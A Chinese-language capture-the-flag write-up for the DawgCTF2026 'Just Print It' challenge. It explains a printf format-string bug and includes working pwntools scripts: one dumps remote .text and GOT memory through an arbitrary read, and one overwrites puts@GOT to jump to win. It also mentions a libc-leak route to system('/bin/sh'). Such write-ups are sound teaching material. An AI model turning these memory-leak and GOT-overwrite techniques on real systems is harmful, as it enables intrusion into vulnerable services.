DawgCTF2026 Just Print It

一道只给源码、不给二进制的格式化字符串题。本地自行编译后秒通,但远程 win 地址和本地编译产物对不上 —— 用同一个格式化字符串漏洞的任意读,把远程 .text.got.plt 整段 dump 下来,找到真实地址后改写 puts@GOT 拿到 flag。

题目概述

题目只给了一个交互式服务 nc nc.umbccd.net 8925,没有提供二进制,提供的是源码 in.c,编译命令在文件头注释里:

1
gcc -fno-stack-protector -no-pie -z execstack -g -Wno-implicit-function-declaration in.c -o out
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
void win() {
FILE *fp;
char flag[128];
fp = fopen("flag.txt", "r");
if (!fp) { puts("Error opening flag file."); fflush(stdout); exit(1); }
fgets(flag, sizeof(flag), fp);
printf("Flag: %s\n", flag);
fflush(stdout);
fclose(fp);
exit(0);
}

int main() {
char buffer[128];
setbuf(stdout, NULL); setbuf(stdin, NULL); setbuf(stderr, NULL);
fflush(stdout);
fgets(buffer, sizeof(buffer), stdin);
printf(buffer); // <-- 漏洞点
puts("\nGoodbye!");
return 0;
}

保护:-no-pie(地址固定)、-fno-stack-protector(无 canary)。

漏洞分析

printf(buffer) 格式化字符串漏洞

思路把 puts 的 GOT 表项 (0x404000) 改写成 win 的地址,下一次 puts 就会跳进 win(),打印 flag。

格式串在栈上的参数偏移为 6,用pwntools生成payload:

1
fmtstr_payload(6, {puts: win})

踩坑:远程地址和本地对不上

题目没给二进制,于是本地用 in.c 自行 gcc 编译出 out 来调试。本地很快打通:

1
2
3
4
# 本地
win = 0x401216 # 本地 out 中 win 的入口
puts = 0x404000
pay = fmtstr_payload(6, {puts: win})

同样的脚本打远程一直失败。根本原因:本地自行编译的产物和远程的二进制函数布局不同。虽然 -no-pie 地址固定,但两次编译(编译器版本/选项细节差异)会让各函数的偏移不一样:

  • 本地 outwin 入口在 0x401216
  • 远程:win 入口在 0x401190

照搬本地的 0x401216 去打远程,自然改写到的是错误的地址。

解决:用同一个漏洞 dump 远程内存

既然没有远程二进制,就用格式化字符串的任意读把远程关键段整段拉下来。

(参考XSWCTF2025的题目nofile

思路:把要读的地址放在栈偏移 9,用 %9$s 读出该地址处直到 \x00 的字节;格式串本身放在偏移 6,填充到 24 字节(= 偏移 6、7、8 三个 qword)后紧跟 p64(addr)

1
2
fmt = b'LEAK:%9$s:END'        # 14 bytes
payload = fmt + b'A'*(24-len(fmt)) + p64(addr) # addr 落在 %9$ 位置

逐字节推进(遇到 \x00 跳过 1 字节)即可 dump 任意范围。脚本 dump 了两段:

  • .text0x401000 – 0x401400remote_text.bin

  • .got.plt0x403fe8 – 0x404040remote_got.bin

dump.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
from pwn import *
import sys

context.arch = 'amd64'
context.log_level = 'error' # 减少噪音

def leak_at(addr):
"""用 %s 泄露 addr 处的字节,遇到 \x00 停止,返回 (bytes, 实际读到的长度)"""
try:
p = remote('nc.umbccd.net', 8925, timeout=10)
marker = b'LEAK:'
end_marker = b':END'
fmt = marker + b'%9$s' + end_marker
# fmt = b'LEAK:%9$s:END' = 14 bytes, pad to 24
pad_len = 24 - len(fmt)
payload = fmt + b'A' * pad_len + p64(addr)
p.sendline(payload)
data = p.recvall(timeout=5)
p.close()
if marker in data and end_marker in data:
leaked = data.split(marker)[1].split(end_marker)[0]
return leaked
return b''
except Exception as e:
return b''

def dump_range(start, end, outfile):
"""dump [start, end) 范围的远程内存"""
size = end - start
result = bytearray(b'\x00' * size)
cursor = start
count = 0

while cursor < end:
offset = cursor - start
leaked = leak_at(cursor)
count += 1

if len(leaked) == 0:
# 当前地址是 \x00,跳过
# result[offset] 已经是 \x00
cursor += 1
else:
# 写入泄露的字节
for i, b in enumerate(leaked):
if offset + i < size:
result[offset + i] = b
cursor += len(leaked)
# cursor 现在指向一个 \x00 字节
cursor += 1 # 跳过那个 \x00

progress = (cursor - start) / size * 100
sys.stdout.write(f'\r[{count} reqs] 0x{cursor:x} / 0x{end:x} ({progress:.1f}%)')
sys.stdout.flush()

print()
with open(outfile, 'wb') as f:
f.write(result)
print(f'Dumped {size} bytes to {outfile} in {count} requests')
return result

# dump 关键段:
print("=== Dumping .text (0x401000 - 0x401400) ===")
dump_range(0x401000, 0x401400, '/mnt/c/Users/chen/Desktop/2/remote_text.bin')

print("\n=== Dumping .got.plt (0x403fe8 - 0x404040) ===")
dump_range(0x403fe8, 0x404040, '/mnt/c/Users/chen/Desktop/2/remote_got.bin')

从 dump 里找到真实 win

扫描 remote_text.bin 里的函数入口(endbr64 = f3 0f 1e fa):

1
0x401000, 0x4010b0, 0x4010e0, 0x401160, 0x401190, 0x4012dc

注意 0x401190 处的字节是 f3 0f 1e fa | eb 8a | 55 48 89 e5 ...,即 endbr64; jmp 0x401120 的一个桩,并不是 win。真正的 win 函数体——push rbp; mov rbp,rsp; sub rsp,0x90 后用 lea 加载 "flag.txt" 字符串——从 0x401196 开始(与本地 outwin 的 prologue 序列一致,只是整体偏移不同)。payload 直接跳到 0x401196,打远程成功。

额外收获:GOT 里的 libc 地址

解析 remote_got.bin(起始 0x403fe8):

地址 内容 含义
0x403fe8 0x403df8 _DYNAMIC
0x403ff0 0x7ffff7ffe5f0 link_map (GOT[1])
0x403ff8 0x7ffff7fda340 _dl_runtime_resolve (GOT[2])
0x404000 0x401036 puts@plt+6(未解析)
0x404008 0x401046 fclose@plt+6(未解析)
0x404010 0x7ffff7e4e920 setbuf(已解析,libc)
0x404018 0x7ffff7e20900 printf(已解析,libc)
0x404020 0x7ffff7e45670 fgets(已解析,libc)
0x404028 0x7ffff7e45350 fflush(已解析,libc)
0x404030 0x401096 fopen@plt+6(未解析)
0x404038 0x4010a6 exit@plt+6(未解析)

dump 发生在 mainprintf 处:此前已调用过 setbuf×3 / fflush / fgets / printf,故这些是已解析的 libc 真实地址;而 puts / fopen / exit / fclose 尚未被调用,仍指向各自 PLT stub。

这意味着即使没有 win,也能由此泄露 libc base、走 system("/bin/sh") / one_gadget 路线。但本题直接改 puts → win 最省事。

最终利用

1
2
3
4
5
6
7
8
9
10
from pwn import *
context.arch = 'amd64'
elf = ELF('./out')
p = remote('nc.umbccd.net', 8925)

win = 0x401196 # 来自远程 .text dump(不是本地的 0x401216)
puts = 0x404000 # puts@GOT
pay = fmtstr_payload(6, {puts: win})
p.sendline(pay)
p.interactive()

发送 payload 后,printfputs@GOT 改写为 win,紧接着的 puts("\nGoodbye!") 跳入 win(),打印 flag。

总结 / 经验

  1. 格式化字符串 = 任意读 + 任意写,一个漏洞既能写 GOT 劫持控制流,也能 %s 把远程内存整段 dump 下来。
  2. 题目不给二进制 + 自行编译时,绝不能假设本地地址等于远程地址。即便 -no-pie,不同编译产物的函数偏移也会变。务必用泄露/ dump 拿到远程真实地址。
  3. dump GOT 还能顺带白嫖 libc 基址,是没有 win 时的通用后备方案。